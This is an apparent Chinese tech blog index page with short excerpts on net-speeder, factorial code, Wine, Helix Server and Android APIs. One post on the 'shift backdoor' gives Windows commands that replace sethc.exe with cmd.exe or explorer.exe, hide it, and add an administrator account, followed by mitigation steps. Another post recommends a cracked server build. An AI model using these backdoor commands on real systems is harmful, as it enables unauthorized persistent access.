网站地图 | RSS订阅 老铁博客 - 专业上海SEO上海SEO优化,分享网站优化知识,同时提供上海SEO服务。
你的位置:首页
前端脚本

搬瓦工网速优化net-speeder

搬瓦工网速优化net-speeder

下载并解压源文件:

:~# wget https://github.com/snooda/net-speeder/archive/master.zip:~# unzip master.zip

安装编译环境:

:~# apt-get install libnet1-dev:~# apt-get install libpcap0.8-dev 

编译:

Linux Cooked interface使用编译(venetX,OpenVZ)::~# sh build.sh -DCOOKED普通网卡使用编译(XenKVM,物理机)::~# sh build.sh

使用:

需要root权限启动#参数:./net_speeder 网卡名 加速规则(bpf规则)#ovz用法(加速所有ip协议数据): :~# ./net_speeder venet0 "ip"

添加到开机启动项:

:~# cp ./net_speeder /usr/bin:~# echo -e 'nohup /usr/bin/net_speeder venet0 "ip" >/dev/null 2>&1 &\nexit 0' >> /etc/rc.local

参考文章:

https://github.com/snooda/net-speeder
http://www.jianshu.com/p/f136b30ca3ba

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:NetSpeeder  

ASP程序

Linux应用程序访问驱动程序过程

Linux应用程序访问驱动程序过程

当应用程序有访问字符设备或者说有访问字符设备驱动程序需求的时候,主要是通过系统调用达到这一目的的。例如,应用程序读取设备,应用程序使用read函数,read函数通过系统调用通过内核,使得驱动程序中的设备方法xx_read被调用。然后xx_read取数据通过相反路径将数据返回给read系统调用。那么内核中到底做了什么样的处理的呢?
         首先,read位于用户空间,read的实现代码位于内核中,read函数是如何找到内核中的实现代码的呢?静态链接编译read.c,然后反汇编,查看反汇编,发现其调用_libc_read,分析_ibc_read,主要关注两行代码,把3传到r7中去,然后调用SVC指令。SVC称为系统调用指令,当使用这个指令之后,pc指针会从用户空间进入内核空间,而且入口是固定的。然后内核会去取num=3的read的系统调用编号,然后根据num=3查表,查出内核中对应read系统调用的sysread,也就是sysread就是read系统调用再内核中的代码,然后sysread就被调用。可以通过查看内核代码entry-common.S\arch\arm\kernel来验证。

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:linux应用程序  

前端脚本

阶乘算法

阶乘算法
///返回n的阶乘末尾0的个数
int ac(int n)
{
    int ans=0,five=5;
    while(n>=five){ans+=n/five;five*=5;}
    return ans;
}
///大数buf[]的阶乘最后非0位的大小,以字符串的形式输入
///buf[]的长度尽量小于1e5
///返回最后一位非0位的大小
int lastdigit(char buf[])
{
    const int mod[20]={1,1,2,6,4,2,2,4,2,8,4,4,8,4,6,8,8,6,8,2};
    int len=strlen(buf),a[maxn],i,c,ret=1;
    if(len==1)
        return mod[buf[0]-'0'];
    for(i=0;i<len;i++)
        a[i]=buf[len-1-i]-'0';
    for(;len;len-=!a[len-1])
    {
        ret=ret*mod[a[1]%2*10+a[0]]%5;
        for(c=0,i=len-1;i>=0;i--)
            c=c*10+a[i],a[i]=c/5,c%=5;
    }
    return ret+ret%2*5;
}
///n的阶乘算法(得到的为n的阶乘的数值)
///得到的ans数组为最后结果
const int maxn=1e6+7;
int a[maxn],ans[maxn];
void ac(int n)
{
    memset(a,0,sizeof(a));
    a[0]=1;
    if(n==0) { printf("0\n");return ;}
    for(int j=2;j<=n;j++)
    {
        int c=0;
        for(int i=0;i<n;i++)
        {
            int s=a[i]*j+c;
            a[i]=s%10;
            c=s/10;
        }
    }
    int pos;
    for(int i=n-1;i>=0;i--)
    if(a[i]) {pos=i;break;}
    ///for(int i=pos;i>=0;i--)
        ///printf("%d",a[i]);
        ///倒序储存在数组ans中;
        for(int i=pos;i>=0;i--)
            ans[pos-i]=a[i];
        for(int i=0;i<=pos;i++)
            printf("%d",ans[i]);
    printf("\n");
}

///查找n的阶乘中因子a的个数;前提是n>=a;
int ac(int n,int a)
{
    int ans=0;
    while(n)
    {
        ans+=n/a;
        n/=a;
    }
    return ans;
}

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:阶乘算法  

前端脚本

wine使用完全指南

wine使用完全指南

一直苦于没有一篇像样的使用指南,原来外国有朋友跟我有同感,既然他捷足先登了,那我只好翻译了。

原文作者说会保持更新,这篇文章是很新的,介绍了很多实用的Wine设置方法,非常全面,无论新手还是老鸟都值得一读。

我收集到的关于Wine的一些资料

如果你像我一样的话,当你第一次使用Wine的时候,就会被Wine的帮助文章现状所困扰。互联网上确实有很多的HOWTO文章来教你使用一些程序或游戏,但是我找不到一个全面的“Wine初学者教程”来让我真正懂得实际了解和使用Wine所需的基本知识。我不需要一个教我如何运行半条命2的文章,我需要的是一篇能实实在在教我怎样使用Wine的文章。最后,我整理了从众多的Wiki、指南、帖子和HOWTO搜集来的资料,写成这篇文章。虽然这篇文章主要针对在Wine下运行游戏,但是它包括的几乎所有的信息都可以应用到用Wine来运行其它的程序。

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:wine使用  

前端脚本

helix server 的搭建

helix server 的搭建

 Helix.server(也就是REAL服务器)的开源版本,RM媒体流服务器,支持RTSP协议,支持RM,RMVB,MP3等格式,即便是商业用,也能应付的来。
HelixServer安装
    网上找个破解版(如:HelixServer 9.0.2.794),一直点“下一步”,即可完成安装。
    “Helix Server”会在后台执行,PC启动后,服务会自动开启。
HelixServer配置
    打开桌面生成的“Helix Server 管理员”。
    击"关于",我们可以看到lic的权限与支持的功能。
  点击"媒体示例",可以看到helix server所支持的媒体文件的演示。
    点击"端口设置" ,这一项的内容是修改安装时设置的端口.在以后的实际应用过程中,也可以随时更改.这里的内容更改后直接生效,不需要重启服务器。
   点击"IP绑定",如果你的服务器有多个ip,那就必须绑定你的对外服务的ip地址.如果你想多个ip地址都可应用于服务,那就绑定0.0.0.0,这代表所有ip的意思,此项服务在更改后需要重启服务器(页面右上有按钮)。
    点,"连接控制" ,这一项设置服务器对外开放人数,以及最大带宽,还有是否只允许客户端real播放器连接,这里是不是修,主要取决于你的服务器性能。
    点"冗余服务器",忽略过去,不在初级教程之类,而且大多数的三流电影网站没有这个财力配置冗余服务器。
    点"加载点",要想成功的对外服务,让客户端能访问到你的媒体文件,就必须设置好加载点,加载点也就是你服务器的媒体文件的存放文件夹。点+号, 生成一个新的加载点,描述可以随便些,内容加载点,可以以你的媒体类型来写,比如你的这个加载的文件夹存放的都是rmvb文件,那就可以写/rmvbvideo/,必须用符号"/"标记开始和结束,基于路径,我的媒体文件存放于计算机的d盘的video文件的rmvb文件夹,那么就应该这么写."D:\video\mvb",基于路径位置选择"本地",被共享服务器缓存,选择"是"。这样设置后,如果你想点播D:\video\mvb里的媒体的话,你的连接就应该这样写.rtsp://127.0.0.1:556/rmvbvideo/*.rmvb。

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:helix server  

前端脚本

notifydatasetinvalidated

notifydatasetinvalidated

notifyDataSetChanged方法通过一个外部的方法控制如果适配器的内容改变时需要强制调用getView来刷新每个Item的内容。

public void notifyDataSetChanged ()

该方法内部实现了在每个观察者上面调用onChanged事件。每当发现数据集有改变的情况,或者读取到数据的新状态时,就会调用此方法。

public void notifyDataSetInvalidated ()

该方法内部实现了在每个观察者上面调用onInvalidated事件。每当发现数据集监控有改变的情况,比如该数据集不再有效,就会调用此方法。

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:notifydatasetinvalidated  

前端脚本

androidserver.exe

androidserver.exe

上次学习了Android四大组件Activity之后,我们深刻理解了Activity。这次我们学习四大组件Service。

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:androidserver.exe  

前端脚本

BugTrap:程序崩溃快照、bug跟踪之利器

BugTrap:程序崩溃快照、bug跟踪之利器

来源:清泛网  http://www.tsingfun.com/html/2016/debug_0412/1354.html

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:bugtrap  

前端脚本

背包问题九讲

背包问题九讲

背包九讲


目录
第一讲 01背包问题
第二讲 完全背包问题
第三讲 多重背包问题
第四讲 混合三种背包问题
第五讲 二维费用的背包问题
第六讲 分组的背包问题
第七讲 有依赖的背包问题
第八讲 泛化物品
第九讲 背包问题问法的变化
附:USACO中的背包问题


前言

本篇文章是我(dd_engi)正在进行中的一个雄心勃勃的写作计划的一部分,这个计划的内容是写作一份较为完善的NOIP难度的动态规划总结,名为《解动态规划题的基本思考方式》。现在你看到的是这个写作计划最先发布的一部分。

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:背包问题九讲  

前端脚本

adjtimex

adjtimex

一、介绍

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:adjtimex  

前端脚本

碎纸片的拼接复原

碎纸片的拼接复原

  对重要文件的拼接复原,传统上都由人工完成,拼接准确率虽然高但是效率很低。本文旨在建立模型,利用计算机编程加少量的人工干预实现碎纸片的拼接复原。

  针对问题1,由于对任意一个字符来讲,笔画是连续的,所以对于一般情况,即使文字被切开,两边的像素还是有联系的,是呈现离散性渐变的。针对此特征,建立了文字连续性模型来求解该问题。而又因为被切开的两边碎片边缘灰度是具有高相关性的,所以,又建立了向量相关模型来求解进行图片拼接。用两种模型分别求解,都得到了对附件一和附件二的正确拼接结果。

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:碎纸片的拼接复原  

ASP程序

fionread 作用

fionread 作用

 当在ioctl里使用FIONREAD时,除了获得所指定的读缓存大小以外,还有清除设备准备就绪状态的作用.

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:fionread  

前端脚本

什么是shift后门?

什么是shift后门?

 一、什么是shift后门?
shift后门是黑客希望以后方便进入服务器而在没有密码的情况下为进入服务器系统而设置的一个后门。
其操作就是在不知道管理员密码的情况下,连续按5次shift键来启动粘滞键,已进入服务器的系统程序管理器。
二、shift后门的制作?
其制作有很多种,下面介绍一种常用的,可以明白其原理自己扩展:
在cmd窗口,敲打命令如下:
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h
用copy命令将explorer.exe复制为setch.exe,这样在登陆界面下连续按5次shift就可以调出程序管理系统了,就获取了系统权限。
(也可以将explorer.exe 改为cmd.exe,这样子这样在登陆界面下连续按5次shift就可以调出cmd命令了,就获取了shell权限。)
使用命令:
net user admin 123456 /add && net localgroup administrators admin /add
执行上面的命令,便可以创建一个叫admin的用户,密码为123456.
三、shift后门的禁止?
两种方法:
第一种:直接删除C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作系统文件"的选择取消才能看得到).这种方法不能完全解除,当服务器重启后,还是会出现后门。
第二种(建议使用这种方法):使用权限来约束这两个文件C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作系统文件"的选择取消才能看得到). 在权限里设置为所有用户(Everyone)禁止运行。具体操作步骤如下:
1.找到C:\WINDOWS\system32目录下的sethc.exe文件,打开属性:
点击”高级“,去掉“允许父项的继承权限传播到该对象和所有子对象”的勾。
点击”添加“,在出现的选择用户和组中点击”立即查找“,在搜索结果中找到”Everoy“用户,并确定:
点击确定:
继续确定,将”Everoy“用户的权限设置为全部拒绝:
这样就禁止了安装和在此访问。当再次安装和访问时,就会出现拒绝访问:

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:shift后门  

前端脚本

glsurfaceview播放视频

glsurfaceview播放视频

OpenGL实现视频的剪裁、旋转、水印、滤镜?? 将 ffmpeg 库移植到 Android 平台?

  在播放网络上的视频流时,Android原生的MediaPlayer支持两种协议,HTTP和RTSP,这两种协议最大的不同是,RTSP协议支持实时流媒体的播放,而HTTP协议不支持。因为VideoView的底层实现是MediaPlayer,因此VideoView也支持以上两种协议。 但是Android原生MediaPalyer支持的协议(不支持RTMP、MMS等)和封装格式实在太有限了.

发布时间:2018年7月13日 | 评论:0 | 浏览: | 标签:glsurfaceview播放视频  

«1314151617181920212223242526272829303132»